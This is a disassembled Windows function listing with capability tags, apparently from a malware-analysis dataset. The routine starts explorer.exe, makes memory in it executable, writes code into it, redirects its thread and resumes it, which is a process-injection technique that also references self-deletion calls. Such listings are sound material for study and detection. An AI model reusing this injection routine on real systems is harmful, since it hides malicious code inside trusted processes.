Function at 0x40111c
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe74
push esi
push edi
push 0x44
pop edx
push 0x10
pop ecx
xor eax, eax
mov dword [ebp - 0x160], edx
lea edi, [ebp - 0x15c]
rep stosd dword es:[edi], eax
mov esi, str.explorer.exe
lea edi, [ebp - 0x264]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x3d
movsd dword es:[edi], dword [esi]
pop ecx
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x257]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x14]
push eax
xor esi, esi
lea eax, [ebp - 0x160]
push eax
push 0x402448
push esi
push edx
push esi
push esi
push esi
lea eax, [ebp - 0x264]
push eax
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4013e2
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x89c], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x898], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x894], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x890], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x88c], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
mov dword [ebp - 0x888], eax
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x880], eax
push esi
lea eax, [ebp - 0x8a0]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 0x884], edi
call ebx
push eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 0x104
lea eax, [ebp - 0x87c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x778]
push eax
lea eax, [ebp - 0x87c]
push eax
call fcn.00401017
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop ecx
pop ecx
lea eax, [ebp - 0x778]
push eax
lea eax, [ebp - 0x11c]
push eax
call ebx
lea eax, [ebp - 0x11c]
push eax
call edi
cmp eax, 3
jle 0x401325
lea esi, [ebp - 0x11c]
call fcn.0040103a
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x778]
jmp 0x40130e
push 0x5c
lea edx, [ebp - 0x11c]
call section..text
pop ecx
push eax
call edi
xor esi, esi
inc esi
sub esi, eax
lea eax, [ebp - 0x11c]
push eax
call edi
add esi, eax
push esi
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0xe74]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [ebp - 0xe74]
push eax
lea eax, [ebp - 0x11c]
push eax
call ebx
lea eax, [ebp - 0x11c]
push eax
call edi
cmp eax, 3
jle 0x401311
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
dec eax
je 0x401301
dec eax
je 0x4012f2
dec eax
je 0x4012e3
dec eax
jne 0x401311
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x368]
jmp 0x40130e
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x46c]
jmp 0x40130e
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x570]
jmp 0x40130e
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x674]
push eax
call ebx
lea eax, [ebp - 0x11c]
push eax
call edi
cmp eax, 3
jg 0x40126e
jmp 0x40132b
mov dword [ebp - 0x880], esi
lea eax, [ebp - 0xd70]
push eax
push dword [ebp - 0x10]
mov ecx, 0x80
mov esi, 0x401055
lea edi, [ebp - 0xaa0]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xd70], 0x10003
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov esi, dword [ebp - 0xcac]
add esi, 0xfffff7c0
and esi, 0xffffffe0
lea eax, [esi - 4]
mov dword [ebp - 0xcac], eax
lea eax, [esi + 4]
mov dword [ebp - 0xcb8], eax
lea eax, [ebp - 0x18]
push eax
push 0x40
mov edi, 0x840
push edi
push esi
push dword [ebp - 0x14]
mov dword [ebp - 0xaa4], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push edi
lea eax, [ebp - 0xaa4]
push eax
push esi
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push edi
push esi
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0xd70]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x14]
call esi
xor eax, eax
inc eax
pop ebx
jmp 0x4013e4
xor eax, eax
pop edi
pop esi
leave
ret